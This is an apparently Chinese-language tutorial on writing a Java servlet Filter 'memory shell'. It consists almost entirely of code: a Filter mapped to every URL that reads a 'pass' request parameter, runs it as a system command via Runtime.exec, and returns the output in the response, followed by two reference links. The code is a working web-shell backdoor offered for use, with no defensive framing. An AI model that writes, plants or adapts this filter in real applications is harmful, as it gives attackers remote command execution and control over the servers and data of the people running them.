简单的JAVA Filter内存马编写

<dependency>  <groupId>javax.servlet</groupId>  <artifactId>javax.servlet-api</artifactId>  <version>3.1.0</version></dependency>

public class MyFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {     }
    @Override    public void destroy() {
    }}

@WebFilter(urlPatterns = "/*")

@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    if(servletRequest.getParameter("pass")!=null){        String cmd = servletRequest.getParameter("pass");        Process process = Runtime.getRuntime().exec(cmd);        InputStream in = process.getInputStream();        InputStreamReader input = new InputStreamReader(in);        BufferedReader reader = new BufferedReader(input);        String s = null;        servletResponse.getWriter().print("<pre>");        while ((s = reader.readLine())!=null){            servletResponse.getWriter().println(s);        }        servletResponse.getWriter().print("</pre>");
        servletResponse.getWriter().flush();    }    filterChain.doFilter(servletRequest,servletResponse);}

import javax.servlet.*;import javax.servlet.annotation.WebFilter;import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;
@WebFilter(urlPatterns = "/*")public class MyFilter implements Filter {    @Override    public void init(FilterConfig filterConfig) throws ServletException {
    }
    @Override    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        if(servletRequest.getParameter("pass")!=null){            String cmd = servletRequest.getParameter("pass");            Process process = Runtime.getRuntime().exec(cmd);            InputStream in = process.getInputStream();            InputStreamReader input = new InputStreamReader(in);            BufferedReader reader = new BufferedReader(input);            String s = null;            servletResponse.getWriter().print("<pre>");            while ((s = reader.readLine())!=null){                servletResponse.getWriter().println(s);            }            servletResponse.getWriter().print("</pre>");
            servletResponse.getWriter().flush();        }        filterChain.doFilter(servletRequest,servletResponse);    }
    @Override    public void destroy() {
    }}

https://mp.weixin.qq.com/s?__biz=Mzg2NjU0MjA0Ng==&mid=2247485539&idx=1&sn=796ff115ac4c9fe9383455ff1a332d9chttps://blog.csdn.net/yuzhiqiang_1993/article/details/81288912